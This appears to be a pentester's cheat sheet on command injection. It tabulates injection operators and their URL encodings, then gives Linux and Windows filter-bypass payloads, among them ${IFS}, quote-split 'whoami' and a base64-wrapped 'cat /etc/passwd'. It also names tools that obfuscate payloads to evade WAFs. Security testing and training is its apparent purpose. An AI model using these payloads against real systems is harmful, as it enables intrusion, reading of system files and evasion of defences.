cc+++ title = “Command Injection” +++
- https://swisskyrepo.github.io/PayloadsAllTheThings/Command%20Injection/
- Without Space: https://swisskyrepo.github.io/PayloadsAllTheThings/Command%20Injection/#bypass-without-space
- Brace Expansion: https://swisskyrepo.github.io/PayloadsAllTheThings/Command%20Injection/#bypass-with-brace-expansion
- Bypass Variable Expression: https://swisskyrepo.github.io/PayloadsAllTheThings/Command%20Injection/#bypass-with-variable-expansion
Overview
User-controlled input that can lead to queries or code execution on the target server (OS, SQL, XSS, etc.). Front-end and back-end often use different validation, which can create vulnerabilities.
NOTE: Try URL encoding, newlines, tabs instead of spaces, and other encoding when characters are blocked.
Injection Types
| Injection Type | Operators (Raw) | Operators (URL Encoded) |
|---|---|---|
| SQL Injection | ' , ; -- /* */ | %27 %2C %3B %2D%2D %2F%2A%20%2A%2F |
| Command Injection | ; && | %3B %26%26 |
| LDAP Injection | * ( ) & | | %2A %28 %29 %26 %7C |
| XPath Injection | ' or and not substring concat count | %27 or and not substring concat count |
| OS Command Injection | ; & | | %3B %26 %7C |
| Code Injection | ' ; -- /* */ $() ${} #{} %{} ^ | %27 %3B %2D%2D %2F%2A%20%2A%2F %24%28%29 %24%7B%7D %23%7B%7D %25%7B%7D %5E |
| Directory/Path Traversal | ../ ..\\ | %2E%2E%2F %2E%2E%5C %00 |
| Object Injection | ; & | | %3B %26 %7C |
| XQuery Injection | ' ; -- /* */ | %27 %3B %2D%2D %2F%2A%20%2A%2F |
| Shellcode Injection | \x \u | %5Cx %5Cu %u %n |
| Header Injection | \n \r\n \t | %0A %0D%0A %09 |
| Space | | %20 |
Workarounds
When a crucial character is blocked, reference it from the environment (variable) or use alternate syntax. Use man ascii (Linux) or Get-ChildItem Env: (PowerShell) to find usable characters.
Linux
Curly-bracket expansion and character shifting: `\` is 92 (ASCII), `[` is 91.
| Blocked | Bypass (example) |
|---|---|
| whitespace | ${IFS} |
/ | ${PATH:0:1} or $(tr '!-}' '"-~'<<<[) |
; | ${LS_COLORS:10:1} |
- Commands: Mix quotes into the name:
w"h"o"am"i,who$@ami,w\ho\am\i. - Case:
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")or$(a="WhOaMi";printf %s "${a,,}"). - Reversals:
$(rev<<<'imaohw'). - Encoded:
echo -n 'cat /etc/passwd | grep 33' | base64→bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==). - Use
<<<instead of|when pipes are blocked.
Windows
| Blocked | Bypass (example) |
|---|---|
| whitespace | space in %VAR% or ` |
/ | %HOMEPATH:~6,-11% or $env:HOMEPATH[0] |
; | %COMSPEC:~4,1% or newline in variable |
- Commands: Insert
^:who^ami. Try case variants:WHOAMI,wHoaMi. - Reversals:
iex "$('imaohw'[-1..-20] -join '')". - Encoded (Unicode Base64):
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))→iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))".
Tools
Useful against basic WAFs and static regex in web-based command injection. Modern EDRs often detect these via telemetry.
Linux: Bashfuscator
Generates heavily obfuscated bash. Tune down for web use (small payloads). Evades WAFs by breaking strings into arrays and reconstructing at runtime.
Windows: DOSfuscation
Interactive PowerShell framework for obfuscating cmd.exe payloads. Uses env var substring extraction (e.g. %TEMP:~-3,-2%) so keywords don’t appear in the HTTP request.